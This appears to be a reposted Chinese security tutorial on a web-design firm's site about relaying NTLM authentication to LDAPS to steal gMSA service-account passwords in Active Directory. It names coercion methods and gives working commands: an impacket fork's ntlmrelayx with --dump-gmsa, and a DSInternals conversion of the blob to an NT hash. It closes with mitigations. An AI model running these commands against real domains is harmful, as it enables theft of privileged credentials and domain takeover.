网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

gMSA的NTLM到LDAP和LDAPS中继攻击:启用LDAP签名和LDAP通道绑定,不为多余账户提供服务帐户权限或特殊权限

文章来源:重庆网络安全 发布时间:2020-03-14 00:09:56 围观次数:
分享到:

摘要:gMSA帐户会将其密码存储在名为“ msDS-ManagedPassword”的LDAP属性中,DC将每隔30天自动重置此值,授权管理员和安装它们的服务器可以检索这些值。

 gMSA帐户会将其密码存储在名为“ msDS-ManagedPassword”的LDAP属性中,DC将每隔30天自动重置此值,授权管理员和安装它们的服务器可以检索这些值。gMSA,英文名称为“Group Managed Service Accounts”,它是Active Directory AD中的组托管服务帐户。msDS-ManagedPassword是一个名为“ MSDS-MANAGEDPASSWORD_BLO

B”的加密数据块,并且仅在安全连接(LDAPS或身份验证类型为‘Sealing&Secure’)才可以被检索到。

 以前对gMSA并不了解很多,但是在观看了Wald0和CptJesus举办的Bloodhound 3.0网络研讨会后,对gMSA有了新的认识,并且本次研讨会主要讨论了为什么gMSA应该成为渗透测试的重点。

经过分析,我们了解到,通常,除授权管理员外,目标设备上可能还会有更多的用户帐户被授予读取gMSA密码的权限,并且gMSA帐户通常也被授予管理员权限。有时甚至可以被授予域管理权限。

  那么我们应该如何利用这个安全问题呢? 我们如何收集那些特权帐户的密码?

  因为当前社区有许多技术可以帮助我们生成传入的NTLM身份验证连接,所以这种身份验证密码存储在LDAP属性中。 最好的解决方案是从ntlmrelayx中的LDAP属性msDS-ManagedPassword检索密码。


  与LDAP的中继链接


  要通过NTLM中继实现与LDAP的连接,我们必须确保中继的身份验证连接使用HTTP协议。 由于连接需要签名数据位,因此我们无法中继SMB身份验证连接,但是漏洞CVE-2019-1040可以帮助我们绕过NTLM签名保护机制,因此我们可以实现中继SMB-> LDAP。

  NTLM中继过程如下:

  1.目标发送NTLM_NEGOTIATE数据包给攻击者。

  2.接下来,攻击者将NTLM_NEGOTIATE数据包中继到选定的目标服务器。

  3.目标服务器向攻击者发送响应消息,其中包含NTLM_CHALLENGE数据包。

  4.攻击者将NTLM_CHALLENGE数据包中继到目标。

  5.目标向攻击者发送响应消息,其中包含NTLM_AUTHENTICATE数据包。

  6.攻击者将NTLM_AUTHENTICATE数据包中继到目标服务器。

  7.攻击者现在将成功与目标服务器建立经过身份验证的会话连接。

blob.png

 没有在ntlmrelayx中成功实现“Sealing&Secure”身份验证。现在,我们必须中继到LDAPS,并且LDAPS仅是通过SSL实现的LDAP。默认情况下,Active Directory AD安装没有此配置,因为没有可用的默认证书。


  配置gMSA

# Create a KDS Root Key on DC

Add-KdsRootKey -EffectiveTime (Get-Date).AddHours(-10)

# Create a new gMSA on DC

New-ADServiceAccount -Name svc_msa -DNSHostName dc.htb.local -ManagedPasswordIntervalInDays 30 -PrincipalsAllowedToRetrieveManagedPassword msa_read,dc$

#Install gMSA on the target server

Install-WindowsFeature AD-DOMAIN-SERVICES

Install-AdServiceAccount svc_msa


漏洞利用


  首先,我们必须为中继生成一个NTLM身份验证请求。我们可以通过以下方式进行操作,例如:

  1.ADIDNS通配符记录

  2.Responder

  3.WPAD + Mitm6

  4.使用易受攻击的服务器创建HTTP身份验证请求

  接下来,使用以下命令将我的代码库克隆到本地主机,安装impacket,打开ntlmrelayx,然后选择您想要的生成NTLM身份验证流量的方法: 

git clone https://github.com/cube0x0/impacket

cd impacket

python setup.py install

python ./examples/ntlmrelayx.py --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs -debug -t ldaps://10.0.0.5

blob.png

 然后,使用DSInternals模块转换数据块。由于密码是以随机的Unicode字符存储的,因此我们还需要将明文密码转换为R **格式:

 (ConvertFrom-ADManagedPasswordBlob <blob>).SecureCurrentPassword | ConvertTo-NTHash

blob.png

缓解方法


  通过启用LDAP签名和LDAP通道绑定,可以防止NTLM到LDAP和LDAPS中继攻击。此外,请勿为冗余帐户提供服务帐户权限或特殊权限。每个组织都应遵循最低特权特权实践。


本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:gMSA NTLM LDAP LDAPS 中继攻击 LDAP签名 LDAP通道绑定 帐户权限 重庆网络安全公司

上一篇:微软发布KB4551762安全更新:Windows 10(SMBv3) 预授权RCE漏洞CVE-2020-0796
下一篇:CVE-2019-20099跨站点请求伪造漏洞(CSRF)发现过程:Jira,连接到任何内部主机,执行内部主机和端口的扫描和检测

热门资讯

鼠标向下滚动